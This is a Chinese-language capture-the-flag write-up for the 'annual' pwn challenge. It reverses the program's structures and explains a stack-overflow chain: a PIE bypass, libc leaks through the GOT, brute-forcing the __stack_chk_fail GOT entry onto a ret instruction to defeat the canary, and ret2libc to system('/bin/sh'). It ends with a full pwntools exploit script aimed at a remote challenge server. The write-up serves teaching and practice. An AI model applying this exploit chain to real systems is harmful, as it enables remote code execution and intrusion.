思路概要
我解本题的思路大致如下:
- 用栈溢出leak全局变量地址,绕过PIE
- leak libc中函数的地址,根据低字节找到对应的libc版本,同时得到libc地址
- 修改got表中__stack_chk_fail的地址使其指向一个ret指令。此处需要爆破
- 用栈溢出ret2libc
逆向
main函数调用了两个函数。initialize里调用了srand(time(0)),将函数指针赋值给全局变量。接下来看main_0函数:
通过菜单选项执行函数。分别有:
- B)ye. 返回
- G)et more packet. person结构体中的money指针指向的值加上一个模100的随机数
- P)rint packet. 打印person->name和person->packets中所有指针所指的Packets信息
- R)ename. 重命名,此处存在栈溢出
- S)how. 打印person->name和*person->money
Person和Packet结构体是通过逆向分析得到的,如下:
翻译成C语言就是
struct Packet
{
char message[0x100];
unsigned int sig;
unsigned int Money;
};
struct Person
{
char name[32];
unsigned int * pMoney;
struct Packet * packets[10];
};
Tips : IDA改名,定义结构体十分有助于逆向分析,弄清程序流程
Pwn
checksec。没什么好说的,是个64位程序
绕过PIE
main_0函数中的pMoney指针(off=0x20)指向的是一个全局变量,可以通过写入0x20个字符后打印名字来得到money全局变量的地址,以算出bss段地址和got.plt表地址
leak libc
可以利用show函数打印*person.pMoney,通过栈溢出覆盖该指针可以实现任意地址读。将其覆盖为got表地址可以泄露函数libc地址(由于show函数只会打印4字节的数据,因此每个地址要leak两次),泄露两个libc地址后就可以使用工具获得相应的libc。之后计算出system函数和"/bin/sh"字符串的实际加载地址。
这里我使用了工具https://github.com/niklasb/libc-database,也可以使用pwntools的dynELF来实现。
覆盖__stack_chk_fail的got表地址
这是本题中比较关键的一步。因为在程序中能写任意地址的函数只有GetPacket,而修改 的值是一个随机数,所以需要通过爆破找到值为0xc3(ret)的地址。
我们首先获取__stack_chk_fail中存放的地址值scf_addr。此时__stack_chk_fail未绑定,因此该地址在用户的地址空间中。将person.pMoney覆盖为__stack_chk_fail的got表地址。
调用GetPacket,每次GetPacket后用rename将pMoney指针修改为scf_addr+money(当前总金钱数) ,顺便覆盖person的packets数组首个元素为0(这样才可以爆破多于10次)。然后使用show可以读取got['__stack_chk_fail']中存放地址中的值,不为0xc3就重新执行GetPacket。
money过大会使got['__stack_chk_fail']超出可执行代码范围,一般2000以内不行就可以重新爆破。最终可以使got['__stack_chk_fail']指向一条ret指令,绕过cannary
ret2libc
使用ropper工具在libc中找到一个跳板pop rdi; ret;(原程序中虽然也有这个跳板,但是不可执行) 计算该指令地址。构造栈帧如下:
写入(buf) |
---|
'a'*0xa8 |
gaget -> pop rdi; ret; |
binsh_addr -> "/bin/sh" |
system_addr |
成功返回后难道shell。
攻击代码
from pwn import *
#pwnhub{flag:H4ppy_N3w_year%^&*}
#io = process('./annual')
elf = ELF('./annual')
#libc = ELF('/lib/x86_64-linux-gnu/libc-2.26.so')
libc = ELF('./libc-2.23.so')
io = remote("52.80.154.150", 9999)
money = 0
def welcome(s):
io.sendafter('name!', s, timeout=5)
def getPacket(s):
global money
io.sendafter("B)ye\n", 'G')
io.recvuntil("$")
inc = int(io.recvuntil("\n")[:-1], 10)
io.sendafter("message!\n", s)
money += inc
return inc
def printPacket():
io.sendafter("B)ye\n", 'P')
return io.recvuntil("R)ename")[:-len("R)ename")]
def show():
io.sendafter("B)ye\n", 'S')
return io.recvuntil("R)ename")[:-len("R)ename")].split(' have $')
def rename(s):
io.sendafter("B)ye\n", 'R')
io.sendafter("name!", s)
def got(sym, bss_addr):
return elf.got[sym] + bss_addr - elf.bss()
def leakGot(sym, bss_addr):
item_got = got(sym, bss_addr)
payload = 'a' * 0x40 + p64(item_got)
rename(payload)
#payload = 'a' * 0x40 + p64(heap_addr)
#rename(payload)
low = int(show()[1], 10) & 0xffffffff
payload = 'a' * 0x40 + p64(item_got+4)
rename(payload)
high = int(show()[1], 10) & 0xffffffff
return low | (high << 32)
def main():
global money
welcome('L1nk')
# leak bss
payload1 = "a" * 0x20
rename(payload1)
money_addr = u64(show()[0][0x20:0x20+6].ljust(8, '\x00'))
bss_addr = money_addr - 0x4238 + 0x40e0
print "[+] Money addr:" + hex(money_addr)
# leak libc
srand_addr = leakGot("srand", bss_addr)
print "[+] srand addr:" + hex(srand_addr)
setbuf_addr = leakGot("setbuf", bss_addr)
print "[+] setbuf addr:" + hex(setbuf_addr)
#if True:
# offset_system = 0x0000000000045390
# offset_setbuf = 0x00000000000766b0
# offset_binsh = 0x00000000001190f0
# offset_scf = 0x00000000001190f0
#else:
offset_system = libc.symbols['system']
offset_setbuf = libc.symbols['setbuf']
offset_scf = libc.symbols['__stack_chk_fail']
offset_binsh = 0x18CD57
libc_addr = setbuf_addr - offset_setbuf
system_addr = libc_addr + offset_system
binsh_addr = offset_binsh + libc_addr
rename('\x00' * 0x40 + p64(got('__stack_chk_fail', bss_addr)))
low = int(show()[1], 10) & 0xffffffff
rename('\x00' * 0x40 + p64(got('__stack_chk_fail', bss_addr) + 4))
high = int(show()[1], 10) & 0xffffffff
scf_addr = low | high << 32
print "[+] __stack_chk_fail plt:" + hex(scf_addr)
print "[+] __stack_chk_fail plt:" + hex(elf.plt["__stack_chk_fail"] + bss_addr - elf.bss() + 60)
while True:
print money
rename('\x00'*0x40 + p64(got('__stack_chk_fail', bss_addr)) + '\x00' * 0x10)
getPacket('\x00')
rename('\x00'*0x40 + p64(scf_addr+money) + '\x00' * 0x10)
if int(show()[1]) & 0xff == 0xc3:
break
gadget = libc_addr + 0x21102
payload = 0xa8 * 'a' + p64(gadget) + p64(binsh_addr) + p64(system_addr)
rename(payload)
io.sendafter("B)ye\n", "B")
io.interactive()
if __name__ == "__main__":
main()
感谢zblee的邀请码~